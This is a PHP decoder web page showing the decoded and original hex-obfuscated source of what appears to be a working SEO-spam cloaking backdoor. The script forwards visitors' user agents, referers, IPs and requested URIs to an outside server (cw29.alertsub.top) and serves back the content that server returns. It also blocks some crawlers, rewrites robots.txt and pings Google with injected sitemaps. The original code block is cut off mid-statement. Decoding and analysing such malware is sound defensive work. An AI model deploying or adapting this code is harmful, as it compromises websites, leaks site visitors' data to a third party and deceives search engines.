Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto KB09G; D38Ys: JLko0: goto vFCUT; VPUQE: if ($Z_HcI == "\x35\x30\60") { goto owERU; } ..

Decoded Output download

<?  goto KB09G; D38Ys: JLko0: goto vFCUT; VPUQE: if ($Z_HcI == "500") { goto owERU; } goto JoGdG; WVSkh: function ksAVO() { goto K20Ds; zwmX2: $GgFgq = explode(",", $Uf6Yd); goto z2Tap; T5Kiw: X_njT: goto GELp_; K20Ds: if (!getenv("HTTP_CLIENT_IP")) { goto hA13t; } goto WDpP_; OSviT: if (getenv("HTTP_X_REAL_IP")) { goto X_njT; } goto GUfma; OjpHy: Gr8hY: goto Y29FX; z2Tap: $Uf6Yd = $GgFgq[0]; goto hOPDd; ouBRV: if (getenv("REMOTE_ADDR")) { goto V3NUN; } goto utKvL; Emuzn: V3NUN: goto f9080; fmNuW: return $Uf6Yd; goto cdmlL; hOPDd: goto zv51o; goto Emuzn; WE0eW: goto zv51o; goto T5Kiw; K6OYe: zv51o: goto fmNuW; etQJT: goto zv51o; goto OjpHy; utKvL: $Uf6Yd = "0.0.0.0"; goto WE0eW; GUfma: if (getenv("HTTP_X_FORWARDED_FOR")) { goto Gr8hY; } goto ouBRV; WDpP_: $Uf6Yd = getenv("HTTP_CLIENT_IP"); goto T0moJ; T0moJ: hA13t: goto OSviT; f9080: $Uf6Yd = getenv("REMOTE_ADDR"); goto K6OYe; GELp_: $Uf6Yd = getenv("HTTP_X_REAL_IP"); goto etQJT; Y29FX: $Uf6Yd = getenv("HTTP_X_FORWARDED_FOR"); goto zwmX2; cdmlL: } goto LJquE; PBXY7: $Uf6Yd = urlencode($BhFql); goto FiHds; Ig5vE: header("Content-Type: text/xml; charset=utf-8"); goto ATnDP; jOzTw: $_SERVER["REQUEST_SCHEME"] = "https"; goto zs8t7; pn1a0: exit; goto JJW1v; fIT65: goto T8FpY; goto RpV2H; k7OXz: if (!preg_match("/(Bytespider|PetalBot|AhrefsBot|Barkrowler|MJ12bot|FeedDemon|JikeSpider|Indy Library|AskTbFXTV|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|python-requests|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|heritrix|EasouSpider|Ezooms|AmazonBot|SEMrushBot|YandexBot)/i", $_SERVER["HTTP_USER_AGENT"])) { goto uCEEm; } goto klpuh; vDRy_: $Z_HcI = kCkMm($Ih00B); goto VPUQE; ZbTdp: $Z_HcI = kcKMM($EwDGw); goto nZzeM; vsC4t: goto O58q7; goto N4tol; k7DKm: Vz7tu: goto Nq13c; ftRoE: btktR: goto xVoDo; eH47D: L4cZ_: goto RwrQD; YBkU3: r3_bE: goto oV7q6; h3eIP: if ($Z_HcI == "500") { goto Vz7tu; } goto MxPlA; WFrYh: if (strpos($dr3i4, "robots.txt") !== false || strpos($dr3i4, "writerobots") !== false) { goto XLJYm; } goto KUzrm; Ggv6i: $Z_HcI = iPmX8($c9DgT . urlencode($AzGhW)); goto Ncjj7; ekUOf: f8JVg: goto Cfuxy; N5KVl: header("Content-Type: text/xml; charset=utf-8"); goto fe40P; vFCUT: $Ih00B = $gzkEY . "?agent={$tjtg9}&refer={$P5Oey}&lang={$P3d58}&ip={$Uf6Yd}&dom={$XcVsJ}&http={$HGXxr}&uri={$dr3i4}&pc={$IOJ3b}&rewriteable={$hVQok}"; goto vDRy_; RRK5g: C_N2x: goto W0MhF; Ko00w: $Ih00B = $gzkEY . "?agent={$tjtg9}&refer={$P5Oey}&lang={$P3d58}&ip={$Uf6Yd}&dom={$XcVsJ}&http={$HGXxr}&uri={$dr3i4}&pc={$IOJ3b}&rewriteable={$hVQok}&script={$bwO9g}"; goto wvgc0; W7Dus: $tjtg9 = urlencode($_SERVER["HTTP_USER_AGENT"]); goto ySQ4y; fe40P: yLeRZ: goto TzBj0; Ncjj7: $i_AfH = "<font color='red'>ERROR</font>"; goto GQfo2; MxPlA: if (empty($Z_HcI)) { goto NoyuG; } goto jqLiD; MP6jP: if (!file_exists("uxo.txt")) { goto pQJFJ; } goto OWwiB; kzQJL: v2Goq: goto YlPUm; wvgc0: $Z_HcI = kcKmM($Ih00B); goto rcV2U; UYwcW: header("HTTP/1.0 500 Internal Server Error"); goto R_UfN; NQ36s: $hVQok = 0; goto x8feS; x8feS: @file_put_contents("uxo.txt", "0"); goto C823j; JoGdG: if (empty($Z_HcI)) { goto oC96K; } goto y5a74; zs8t7: T8FpY: goto oFWiy; Ggzcz: owERU: goto VKbBt; X3sJk: exit; goto DWY2U; KB09G: error_reporting(0); goto WVSkh; e4bFe: n_20S: goto xO8TT; OWwiB: $hVQok = @file_get_contents("uxo.txt"); goto xJUqB; OMHwa: oC96K: goto e0SIA; I9ntw: goto Vetlq; goto T0L0Y; oqLB0: echo $Z_HcI; goto WeAq8; CuVJs: if (!($E2Fuy < 30)) { goto L4cZ_; } goto cnorE; dCWyW: goto oAGEH; goto k7DKm; C823j: goto QV4vD; goto wH020; TKlqx: if (!empty($_SERVER["REQUEST_SCHEME"]) && $_SERVER["REQUEST_SCHEME"] == "https" || !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" || !empty($_SERVER["SERVER_PORT"]) && $_SERVER["SERVER_PORT"] == "443" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https") { goto bUkr0; } goto sqaUt; YlPUm: $KD48z = "/?"; goto UY3d9; q8f1A: if (substr($Z_HcI, 0, 5) == "<?xml") { goto V4Na0; } goto mw9Ag; dAWP3: $bwO9g = urlencode($_SERVER["SCRIPT_NAME"]); goto TKlqx; R_UfN: exit; goto RRK5g; LJquE: function kcKmm($bChQX) { goto WiN6o; iAgpH: $DD3lD = curl_exec($X_kIN); goto rK_OA; tj_Lj: curl_setopt($X_kIN, CURLOPT_FOLLOWLOCATION, false); goto BU4Ho; OFD3I: curl_setopt($X_kIN, CURLOPT_SSL_VERIFYPEER, FALSE); goto oS81k; jamnh: TmwfH: goto iAgpH; rK_OA: curl_close($X_kIN); goto WLSMj; FDucn: return $DD3lD; goto xt2Vb; hhoNV: if (!empty($DD3lD)) { goto qT2a3; } goto IUEJ_; N00ST: curl_setopt($X_kIN, CURLOPT_URL, $bChQX); goto hemh1; hemh1: curl_setopt($X_kIN, CURLOPT_RETURNTRANSFER, true); goto tj_Lj; oS81k: curl_setopt($X_kIN, CURLOPT_SSL_VERIFYHOST, FALSE); goto jamnh; WiN6o: $DD3lD = @file_get_contents($bChQX); goto hhoNV; WLSMj: qT2a3: goto FDucn; BU4Ho: if (!(strpos($bChQX, "https://") !== false)) { goto TmwfH; } goto OFD3I; IUEJ_: $X_kIN = curl_init(); goto N00ST; xt2Vb: } goto tYjjd; XS3bm: $Z_HcI = kCkMm($Ih00B); goto oqLB0; dWLXp: @file_put_contents("uxo.txt", "1"); goto ZvgRc; AVvlj: usleep(100 * 1000); goto hJHOh; acsR2: edHfI: goto oducl; PpkeB: goto C_N2x; goto Y_0hF; AuNbx: $Z_HcI = kckmM($Ih00B); goto NOa1I; r1y2f: $IOJ3b = 2392; goto W7Dus; tYjjd: function ipmx8($bChQX) { goto IB1qX; yhuQo: QZfjv: goto govKe; A7oU1: if (!empty($DD3lD)) { goto B3LkL; } goto m1h7P; wtp12: curl_setopt($X_kIN, CURLOPT_SSL_VERIFYPEER, FALSE); goto cqDTZ; oiTfq: curl_setopt($X_kIN, CURLOPT_FOLLOWLOCATION, false); goto t5knp; lpTv5: B3LkL: goto D2ZO0; m1h7P: $DD3lD = @file_get_contents($bChQX); goto lpTv5; cqDTZ: curl_setopt($X_kIN, CURLOPT_SSL_VERIFYHOST, FALSE); goto yhuQo; n5gx7: if (!(strpos($bChQX, "https://") !== false)) { goto QZfjv; } goto wtp12; t5knp: curl_setopt($X_kIN, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); goto n5gx7; IB1qX: $X_kIN = curl_init(); goto wC3K7; govKe: $DD3lD = curl_exec($X_kIN); goto hHJbf; D2ZO0: return $DD3lD; goto zeoEM; YDXL1: curl_setopt($X_kIN, CURLOPT_RETURNTRANSFER, true); goto oiTfq; hHJbf: curl_close($X_kIN); goto A7oU1; wC3K7: curl_setopt($X_kIN, CURLOPT_URL, $bChQX); goto YDXL1; zeoEM: } goto k7OXz; I6I8S: exit; goto fjN14; bg2K_: KHGlE: goto VngV7; rcV2U: if ($Z_HcI == "500") { goto cLFFW; } goto Ig5vE; hJHOh: $Ih00B = $gzkEY . "?agent={$tjtg9}&refer={$P5Oey}&lang={$P3d58}&ip={$Uf6Yd}&dom={$XcVsJ}&http={$HGXxr}&uri={$dr3i4}&pc={$IOJ3b}&rewriteable={$hVQok}&script={$bwO9g}&sitemap=" . urlencode($AzGhW); goto AyT0I; FiHds: $XcVsJ = urlencode($_SERVER["HTTP_HOST"]); goto dAWP3; ZvgRc: QV4vD: goto ekUOf; AYH_s: oAGEH: goto e4bFe; yZczW: exit; goto AjZ7N; oFWiy: $HGXxr = urlencode($_SERVER["REQUEST_SCHEME"]); goto rWw8L; Z0hoV: $KD48z = $KD48z . "?"; goto DtN5y; RpV2H: bUkr0: goto jOzTw; oswJe: $AzGhW = "{$HGXxr}://" . $XcVsJ . $KD48z . "sitemap.xml"; goto ZkDGs; MXayr: $E2Fuy = 1; goto RqbJj; PrNxx: xqPgP: goto OT7fa; q8yuQ: $E2Fuy++; goto s9zgb; UY3d9: zfJnD: goto YBkU3; MG62y: $P3d58 = urlencode($_SERVER["HTTP_ACCEPT_LANGUAGE"]); goto Gm0Y5; Hmcvx: V4Na0: goto N5KVl; VngV7: if ($hVQok == 0) { goto v2Goq; } goto fA_is; fjN14: NoyuG: goto dCWyW; fA_is: $KD48z = "/"; goto PnRVM; fFF4A: echo "ok"; goto X3sJk; DLFfw: goto edHfI; goto eFk01; OBJTF: $hVQok = 1; goto dWLXp; Y_0hF: cLFFW: goto UYwcW; LPnBf: goto h8DxZ; goto zsDiJ; jqLiD: echo $Z_HcI; goto I6I8S; xVoDo: $Ih00B = $gzkEY . "?agent={$tjtg9}&refer={$P5Oey}&lang={$P3d58}&ip={$Uf6Yd}&dom={$XcVsJ}&http={$HGXxr}&uri={$dr3i4}&pc={$IOJ3b}&rewriteable={$hVQok}&script={$bwO9g}"; goto XS3bm; taCsC: $KD48z = $_SERVER["SCRIPT_NAME"]; goto cfKy5; w7r9k: header("Content-Type: text/plain; charset=utf-8"); goto XBlNL; DuHwQ: if (strpos($dr3i4, "jp2023") !== false) { goto btktR; } goto WFrYh; TzBj0: echo $Z_HcI; goto wwiV_; oducl: goto Qv69A; goto ftRoE; Cfuxy: if (strpos($dr3i4, "pingsitemap.xml") !== false) { goto g3lp5; } goto hQDdQ; AjZ7N: uCEEm: goto xFfga; vks45: exit; goto OMHwa; xJUqB: goto f8JVg; goto u1Utn; zdMF4: $Ih00B = $gzkEY . "?agent={$tjtg9}&refer={$P5Oey}&lang={$P3d58}&ip={$Uf6Yd}&dom={$XcVsJ}&http={$HGXxr}&uri={$dr3i4}&pc={$IOJ3b}&rewriteable={$hVQok}&script={$bwO9g}"; goto AuNbx; VKbBt: header("HTTP/1.0 500 Internal Server Error"); goto GvXrI; Y7yWs: FtECf: goto bjWiX; y5a74: echo $Z_HcI; goto vks45; e0SIA: goto xqPgP; goto Ggzcz; hCwEa: PrTep: goto zdMF4; JJW1v: H090b: goto q8f1A; XoQz9: Isu4d: goto I9ntw; PnRVM: goto zfJnD; goto kzQJL; cnorE: zsX0A: goto q8yuQ; bjWiX: echo $AzGhW . ": " . $i_AfH . "<br/>"; goto AVvlj; OT7fa: UuXH9: goto efYyC; W0MhF: Vetlq: goto DLFfw; jqlhl: JpqaE: goto XoQz9; Nq13c: header("HTTP/1.0 500 Internal Server Error"); goto oy1V4; DtN5y: goto r3_bE; goto bg2K_; S_w_v: if (!(strpos($dr3i4, "uuuuxxxxooo") !== false)) { goto u1sfx; } goto fFF4A; n2_8y: $Ih00B = $gzkEY . "?agent={$tjtg9}&refer={$P5Oey}&lang={$P3d58}&ip={$Uf6Yd}&dom={$XcVsJ}&http={$HGXxr}&uri={$dr3i4}&pc={$IOJ3b}&rewriteable={$hVQok}&k=1"; goto m3SVD; h9PsW: $hVQok = 0; goto MP6jP; ciW6U: exit; goto acsR2; ZkDGs: $dUZVc = trim($dUZVc) . "
\xa" . "Sitemap: {$AzGhW}"; goto Ggv6i; s9zgb: goto EmqRl; goto eH47D; zsDiJ: g3lp5: goto taCsC; u1Utn: pQJFJ: goto cJt8r; dyuvr: $gzkEY = "http://cw29.alertsub.top/index.php"; goto r1y2f; piHNx: exit; goto sKbT4; GQfo2: if (!preg_match("/<h2>(.+?)<\/h2>/i", $Z_HcI, $ntHso)) { goto FtECf; } goto xGjZc; XBlNL: echo $Z_HcI = KCkMm($Ih00B); goto GcgkO; DsJRX: header("HTTP/1.0 500 Internal Server Error"); goto pn1a0; OV81W: if (!(strpos($BhFql, "193.186.4.") !== false || strpos($BhFql, "72.14.201.") !== false || strpos($BhFql, "2001:4860:7:") !== false)) { goto n_20S; } goto n2_8y; ySQ4y: $P5Oey = urlencode($_SERVER["HTTP_REFERER"]); goto MG62y; eFk01: XLJYm: goto tIfly; xO8TT: goto UuXH9; goto D38Ys; mw9Ag: header("Content-Type: text/html; charset=utf-8"); goto HlIiQ; m3SVD: $Z_HcI = kckMm($Ih00B); goto h3eIP; HlIiQ: goto yLeRZ; goto Hmcvx; wH020: THLP8: goto OBJTF; tIfly: $Ih00B = $gzkEY . "?agent={$tjtg9}&refer={$P5Oey}&lang={$P3d58}&ip={$Uf6Yd}&dom={$XcVsJ}&http={$HGXxr}&uri={$dr3i4}&pc={$IOJ3b}&rewriteable={$hVQok}&script={$bwO9g}"; goto w7r9k; GvXrI: exit; goto PrNxx; j2OPy: if (!($Z_HcI == "500")) { goto H090b; } goto DsJRX; hQDdQ: if (strpos($dr3i4, "favicon.ico") !== false) { goto j48nN; } goto DuHwQ; RqbJj: EmqRl: goto CuVJs; T0L0Y: KxZtV: goto Ko00w; efYyC: goto Isu4d; goto hCwEa; oV7q6: $c9DgT = "https://www.google.com/ping?sitemap="; goto giZ6C; KUzrm: if (preg_match("@^/(.*?).xml$@i", $dr3i4)) { goto KxZtV; } goto GX4oM; xGjZc: $i_AfH = $ntHso[1]; goto Y7yWs; Gm0Y5: $BhFql = kSAvo(); goto PBXY7; xFfga: $Gcih8 = "bing|google|yahoo"; goto dyuvr; RwrQD: @file_put_contents("robots.txt", $dUZVc); goto piHNx; klpuh: header("HTTP/1.0 403 Forbidden"); goto yZczW; cJt8r: $EwDGw = $HGXxr . "://" . $_SERVER["HTTP_HOST"] . "/uuuuxxxxooo"; goto ZbTdp; GX4oM: if (preg_match("/({$Gcih8})/i", $_SERVER["HTTP_USER_AGENT"])) { goto PrTep; } goto q9dMe; sqaUt: $_SERVER["REQUEST_SCHEME"] = "http"; goto fIT65; LOUh7: O58q7: goto LPnBf; GcgkO: @file_put_contents("robots.txt", $Z_HcI); goto ciW6U; nZzeM: if ($Z_HcI == "ok") { goto THLP8; } goto NQ36s; giZ6C: $dUZVc = "User-agent: *
Allow: /"; goto oswJe; wwiV_: exit; goto jqlhl; BoEYo: exit; goto PpkeB; ATnDP: echo $Z_HcI; goto BoEYo; AyT0I: $Z_HcI = kcKMM($Ih00B); goto MXayr; oy1V4: exit; goto AYH_s; NOa1I: if (empty($Z_HcI)) { goto JpqaE; } goto j2OPy; DWY2U: u1sfx: goto h9PsW; N4tol: j48nN: goto LOUh7; cS7IU: Qv69A: goto vsC4t; rWw8L: $dr3i4 = urldecode($_SERVER["REQUEST_URI"]); goto S_w_v; q9dMe: if (preg_match("/({$Gcih8})/i", $_SERVER["HTTP_REFERER"])) { goto JLko0; } goto OV81W; WeAq8: exit; goto cS7IU; cfKy5: if (strpos($KD48z, "index.php") !== false) { goto KHGlE; } goto Z0hoV; sKbT4: h8DxZ: 
 ?>

Did this file decode correctly?

Original Code

goto KB09G; D38Ys: JLko0: goto vFCUT; VPUQE: if ($Z_HcI == "\x35\x30\60") { goto owERU; } goto JoGdG; WVSkh: function ksAVO() { goto K20Ds; zwmX2: $GgFgq = explode("\x2c", $Uf6Yd); goto z2Tap; T5Kiw: X_njT: goto GELp_; K20Ds: if (!getenv("\x48\124\x54\x50\x5f\x43\x4c\x49\105\116\x54\x5f\111\120")) { goto hA13t; } goto WDpP_; OSviT: if (getenv("\110\124\124\x50\137\130\137\x52\x45\101\114\x5f\111\120")) { goto X_njT; } goto GUfma; OjpHy: Gr8hY: goto Y29FX; z2Tap: $Uf6Yd = $GgFgq[0]; goto hOPDd; ouBRV: if (getenv("\x52\x45\x4d\x4f\124\105\x5f\101\104\104\x52")) { goto V3NUN; } goto utKvL; Emuzn: V3NUN: goto f9080; fmNuW: return $Uf6Yd; goto cdmlL; hOPDd: goto zv51o; goto Emuzn; WE0eW: goto zv51o; goto T5Kiw; K6OYe: zv51o: goto fmNuW; etQJT: goto zv51o; goto OjpHy; utKvL: $Uf6Yd = "\60\56\x30\56\60\x2e\x30"; goto WE0eW; GUfma: if (getenv("\x48\x54\x54\120\137\130\x5f\106\x4f\x52\127\101\122\x44\105\104\137\106\117\122")) { goto Gr8hY; } goto ouBRV; WDpP_: $Uf6Yd = getenv("\x48\124\124\x50\137\x43\x4c\x49\x45\x4e\124\137\x49\x50"); goto T0moJ; T0moJ: hA13t: goto OSviT; f9080: $Uf6Yd = getenv("\122\105\x4d\x4f\124\105\137\x41\x44\x44\x52"); goto K6OYe; GELp_: $Uf6Yd = getenv("\110\x54\124\x50\137\130\x5f\x52\x45\101\x4c\x5f\111\x50"); goto etQJT; Y29FX: $Uf6Yd = getenv("\110\124\124\120\137\130\137\x46\117\x52\x57\101\122\104\x45\104\x5f\106\117\122"); goto zwmX2; cdmlL: } goto LJquE; PBXY7: $Uf6Yd = urlencode($BhFql); goto FiHds; Ig5vE: header("\103\x6f\156\x74\145\156\164\x2d\124\171\160\145\72\x20\164\x65\170\x74\x2f\170\155\x6c\x3b\x20\x63\150\141\x72\163\x65\x74\x3d\165\x74\146\55\x38"); goto ATnDP; jOzTw: $_SERVER["\x52\105\x51\125\x45\x53\x54\137\x53\x43\110\105\x4d\x45"] = "\x68\x74\164\160\163"; goto zs8t7; pn1a0: exit; goto JJW1v; fIT65: goto T8FpY; goto RpV2H; k7OXz: if (!preg_match("\57\x28\x42\x79\x74\145\163\160\x69\144\x65\x72\174\x50\145\x74\141\154\x42\x6f\x74\174\101\150\x72\145\146\x73\102\x6f\164\x7c\102\141\162\x6b\162\157\167\154\x65\162\x7c\115\x4a\61\x32\142\x6f\x74\x7c\106\145\x65\144\x44\145\155\157\x6e\174\x4a\x69\x6b\145\x53\160\x69\144\145\162\x7c\111\156\x64\x79\40\114\x69\142\162\141\162\x79\x7c\x41\x73\x6b\x54\x62\x46\x58\124\126\174\103\162\x61\167\x6c\x44\141\x64\144\x79\x7c\103\x6f\157\x6c\x70\x61\144\127\145\142\153\x69\164\174\112\141\166\141\x7c\106\145\145\x64\154\171\x7c\x55\x6e\x69\166\145\162\163\x61\154\106\145\x65\x64\120\x61\162\x73\x65\162\x7c\101\x70\141\143\150\x65\x42\x65\156\143\150\174\123\x77\151\146\x74\x62\157\164\x7c\x5a\x6d\x45\165\174\x6f\102\x6f\x74\x7c\152\141\x75\x6e\164\x79\174\120\171\164\150\x6f\156\55\165\x72\x6c\154\x69\142\x7c\160\x79\x74\x68\157\x6e\55\x72\145\161\165\x65\x73\x74\163\174\x6c\x69\x67\150\164\x44\145\x63\153\122\145\x70\x6f\x72\164\163\x20\x42\157\164\174\x59\131\123\160\x69\x64\145\162\x7c\x44\151\x67\105\x78\x74\x7c\x59\x69\163\x6f\165\123\x70\x69\144\x65\162\174\110\x74\x74\x70\x43\x6c\151\145\156\x74\x7c\150\145\162\151\164\x72\151\170\174\105\141\x73\x6f\x75\x53\x70\x69\144\x65\x72\x7c\x45\x7a\x6f\x6f\x6d\163\174\101\155\x61\172\x6f\156\102\157\164\174\x53\x45\x4d\162\x75\x73\150\x42\x6f\x74\174\x59\141\x6e\x64\x65\170\x42\x6f\x74\x29\x2f\151", $_SERVER["\110\124\x54\120\x5f\125\123\105\x52\137\x41\x47\105\116\x54"])) { goto uCEEm; } goto klpuh; vDRy_: $Z_HcI = kCkMm($Ih00B); goto VPUQE; ZbTdp: $Z_HcI = kcKMM($EwDGw); goto nZzeM; vsC4t: goto O58q7; goto N4tol; k7DKm: Vz7tu: goto Nq13c; ftRoE: btktR: goto xVoDo; eH47D: L4cZ_: goto RwrQD; YBkU3: r3_bE: goto oV7q6; h3eIP: if ($Z_HcI == "\x35\x30\60") { goto Vz7tu; } goto MxPlA; WFrYh: if (strpos($dr3i4, "\162\x6f\x62\x6f\x74\163\56\x74\x78\164") !== false || strpos($dr3i4, "\167\162\151\x74\145\x72\157\142\157\164\x73") !== false) { goto XLJYm; } goto KUzrm; Ggv6i: $Z_HcI = iPmX8($c9DgT . urlencode($AzGhW)); goto Ncjj7; ekUOf: f8JVg: goto Cfuxy; N5KVl: header("\x43\x6f\156\x74\145\x6e\164\55\124\171\160\145\x3a\40\164\x65\170\164\57\170\155\x6c\x3b\x20\x63\x68\141\x72\x73\145\164\x3d\165\x74\x66\55\70"); goto fe40P; vFCUT: $Ih00B = $gzkEY . "\77\141\147\x65\156\x74\x3d{$tjtg9}\46\x72\145\x66\x65\x72\x3d{$P5Oey}\x26\154\141\156\x67\75{$P3d58}\x26\x69\x70\x3d{$Uf6Yd}\46\x64\157\155\x3d{$XcVsJ}\46\150\x74\x74\160\x3d{$HGXxr}\x26\165\x72\x69\x3d{$dr3i4}\x26\x70\143\75{$IOJ3b}\46\x72\x65\x77\162\151\164\x65\141\142\x6c\x65\75{$hVQok}"; goto vDRy_; RRK5g: C_N2x: goto W0MhF; Ko00w: $Ih00B = $gzkEY . "\x3f\141\x67\145\156\164\75{$tjtg9}\x26\162\145\x66\x65\x72\x3d{$P5Oey}\46\154\x61\156\x67\x3d{$P3d58}\46\151\x70\x3d{$Uf6Yd}\46\144\157\155\75{$XcVsJ}\46\x68\164\164\160\x3d{$HGXxr}\46\165\162\x69\75{$dr3i4}\x26\160\x63\x3d{$IOJ3b}\46\162\x65\x77\162\x69\x74\145\x61\142\154\x65\x3d{$hVQok}\46\163\x63\162\x69\x70\164\75{$bwO9g}"; goto wvgc0; W7Dus: $tjtg9 = urlencode($_SERVER["\x48\x54\124\x50\x5f\x55\123\105\x52\137\x41\107\x45\x4e\124"]); goto ySQ4y; fe40P: yLeRZ: goto TzBj0; Ncjj7: $i_AfH = "\74\146\157\x6e\x74\40\143\157\154\x6f\162\75\47\162\x65\144\47\x3e\x45\x52\122\x4f\x52\74\x2f\x66\x6f\156\164\x3e"; goto GQfo2; MxPlA: if (empty($Z_HcI)) { goto NoyuG; } goto jqLiD; MP6jP: if (!file_exists("\165\170\x6f\56\164\170\164")) { goto pQJFJ; } goto OWwiB; kzQJL: v2Goq: goto YlPUm; wvgc0: $Z_HcI = kcKmM($Ih00B); goto rcV2U; UYwcW: header("\110\124\124\x50\57\61\x2e\60\40\65\60\x30\40\x49\156\x74\145\x72\x6e\141\x6c\40\123\145\162\x76\x65\x72\x20\105\162\x72\x6f\162"); goto R_UfN; NQ36s: $hVQok = 0; goto x8feS; x8feS: @file_put_contents("\165\x78\x6f\x2e\164\170\164", "\60"); goto C823j; JoGdG: if (empty($Z_HcI)) { goto oC96K; } goto y5a74; zs8t7: T8FpY: goto oFWiy; Ggzcz: owERU: goto VKbBt; X3sJk: exit; goto DWY2U; KB09G: error_reporting(0); goto WVSkh; e4bFe: n_20S: goto xO8TT; OWwiB: $hVQok = @file_get_contents("\x75\170\x6f\x2e\x74\x78\x74"); goto xJUqB; OMHwa: oC96K: goto e0SIA; I9ntw: goto Vetlq; goto T0L0Y; oqLB0: echo $Z_HcI; goto WeAq8; CuVJs: if (!($E2Fuy < 30)) { goto L4cZ_; } goto cnorE; dCWyW: goto oAGEH; goto k7DKm; C823j: goto QV4vD; goto wH020; TKlqx: if (!empty($_SERVER["\122\105\121\x55\x45\123\x54\137\x53\x43\x48\105\115\x45"]) && $_SERVER["\x52\105\x51\125\105\x53\x54\x5f\123\103\110\x45\115\x45"] == "\x68\x74\x74\160\163" || !empty($_SERVER["\110\124\x54\x50\x53"]) && $_SERVER["\x48\x54\x54\120\123"] == "\x6f\156" || !empty($_SERVER["\x53\105\x52\126\105\122\x5f\x50\117\122\x54"]) && $_SERVER["\x53\105\122\126\105\x52\137\120\117\122\124"] == "\64\x34\63" || isset($_SERVER["\110\124\x54\120\137\x58\x5f\x46\x4f\x52\127\101\x52\104\105\104\x5f\120\x52\117\124\x4f"]) && $_SERVER["\110\124\124\120\x5f\130\x5f\x46\117\122\127\x41\x52\104\x45\104\137\x50\122\117\x54\117"] == "\150\x74\x74\x70\x73") { goto bUkr0; } goto sqaUt; YlPUm: $KD48z = "\57\x3f"; goto UY3d9; q8f1A: if (substr($Z_HcI, 0, 5) == "\x3c\77\x78\x6d\154") { goto V4Na0; } goto mw9Ag; dAWP3: $bwO9g = urlencode($_SERVER["\x53\103\x52\x49\120\124\x5f\x4e\x41\115\105"]); goto TKlqx; R_UfN: exit; goto RRK5g; LJquE: function kcKmm($bChQX) { goto WiN6o; iAgpH: $DD3lD = curl_exec($X_kIN); goto rK_OA; tj_Lj: curl_setopt($X_kIN, CURLOPT_FOLLOWLOCATION, false); goto BU4Ho; OFD3I: curl_setopt($X_kIN, CURLOPT_SSL_VERIFYPEER, FALSE); goto oS81k; jamnh: TmwfH: goto iAgpH; rK_OA: curl_close($X_kIN); goto WLSMj; FDucn: return $DD3lD; goto xt2Vb; hhoNV: if (!empty($DD3lD)) { goto qT2a3; } goto IUEJ_; N00ST: curl_setopt($X_kIN, CURLOPT_URL, $bChQX); goto hemh1; hemh1: curl_setopt($X_kIN, CURLOPT_RETURNTRANSFER, true); goto tj_Lj; oS81k: curl_setopt($X_kIN, CURLOPT_SSL_VERIFYHOST, FALSE); goto jamnh; WiN6o: $DD3lD = @file_get_contents($bChQX); goto hhoNV; WLSMj: qT2a3: goto FDucn; BU4Ho: if (!(strpos($bChQX, "\150\164\x74\x70\163\72\x2f\x2f") !== false)) { goto TmwfH; } goto OFD3I; IUEJ_: $X_kIN = curl_init(); goto N00ST; xt2Vb: } goto tYjjd; XS3bm: $Z_HcI = kCkMm($Ih00B); goto oqLB0; dWLXp: @file_put_contents("\165\170\x6f\x2e\164\170\164", "\61"); goto ZvgRc; AVvlj: usleep(100 * 1000); goto hJHOh; acsR2: edHfI: goto oducl; PpkeB: goto C_N2x; goto Y_0hF; AuNbx: $Z_HcI = kckmM($Ih00B); goto NOa1I; r1y2f: $IOJ3b = 2392; goto W7Dus; tYjjd: function ipmx8($bChQX) { goto IB1qX; yhuQo: QZfjv: goto govKe; A7oU1: if (!empty($DD3lD)) { goto B3LkL; } goto m1h7P; wtp12: curl_setopt($X_kIN, CURLOPT_SSL_VERIFYPEER, FALSE); goto cqDTZ; oiTfq: curl_setopt($X_kIN, CURLOPT_FOLLOWLOCATION, false); goto t5knp; lpTv5: B3LkL: goto D2ZO0; m1h7P: $DD3lD = @file_get_contents($bChQX); goto lpTv5; cqDTZ: curl_setopt($X_kIN, CURLOPT_SSL_VERIFYHOST, FALSE); goto yhuQo; n5gx7: if (!(strpos($bChQX, "\150\x74\x74\x70\163\x3a\x2f\57") !== false)) { goto QZfjv; } goto wtp12; t5knp: curl_setopt($X_kIN, CURLOPT_USERAGENT, $_SERVER["\110\x54\x54\120\137\125\123\105\122\137\101\x47\105\x4e\x54"]); goto n5gx7; IB1qX: $X_kIN = curl_init(); goto wC3K7; govKe: $DD3lD = curl_exec($X_kIN); goto hHJbf; D2ZO0: return $DD3lD; goto zeoEM; YDXL1: curl_setopt($X_kIN, CURLOPT_RETURNTRANSFER, true); goto oiTfq; hHJbf: curl_close($X_kIN); goto A7oU1; wC3K7: curl_setopt($X_kIN, CURLOPT_URL, $bChQX); goto YDXL1; zeoEM: } goto k7OXz; I6I8S: exit; goto fjN14; bg2K_: KHGlE: goto VngV7; rcV2U: if ($Z_HcI == "\x35\60\60") { goto cLFFW; } goto Ig5vE; hJHOh: $Ih00B = $gzkEY . "\77\x61\147\x65\x6e\164\x3d{$tjtg9}\46\x72\x65\146\145\x72\x3d{$P5Oey}\x26\154\x61\156\147\x3d{$P3d58}\46\x69\x70\x3d{$Uf6Yd}\46\144\157\x6d\75{$XcVsJ}\x26\150\x74\164\x70\x3d{$HGXxr}\46\x75\162\151\75{$dr3i4}\x26\160\143\x3d{$IOJ3b}\x26\162\x65\167\162\x69\164\145\141\x62\154\x65\75{$hVQok}\x26\163\143\162\x69\160\164\x3d{$bwO9g}\46\x73\151\164\x65\155\141\x70\75" . urlencode($AzGhW); goto AyT0I; FiHds: $XcVsJ = urlencode($_SERVER["\110\x54\x54\120\137\110\x4f\x53\x54"]); goto dAWP3; ZvgRc: QV4vD: goto ekUOf; AYH_s: oAGEH: goto e4bFe; yZczW: exit; goto AjZ7N; oFWiy: $HGXxr = urlencode($_SERVER["\122\x45\x51\125\105\x53\124\x5f\x53\x43\110\x45\115\105"]); goto rWw8L; Z0hoV: $KD48z = $KD48z . "\x3f"; goto DtN5y; RpV2H: bUkr0: goto jOzTw; oswJe: $AzGhW = "{$HGXxr}\72\x2f\57" . $XcVsJ . $KD48z . "\x73\151\x74\145\x6d\141\x70\x2e\170\x6d\x6c"; goto ZkDGs; MXayr: 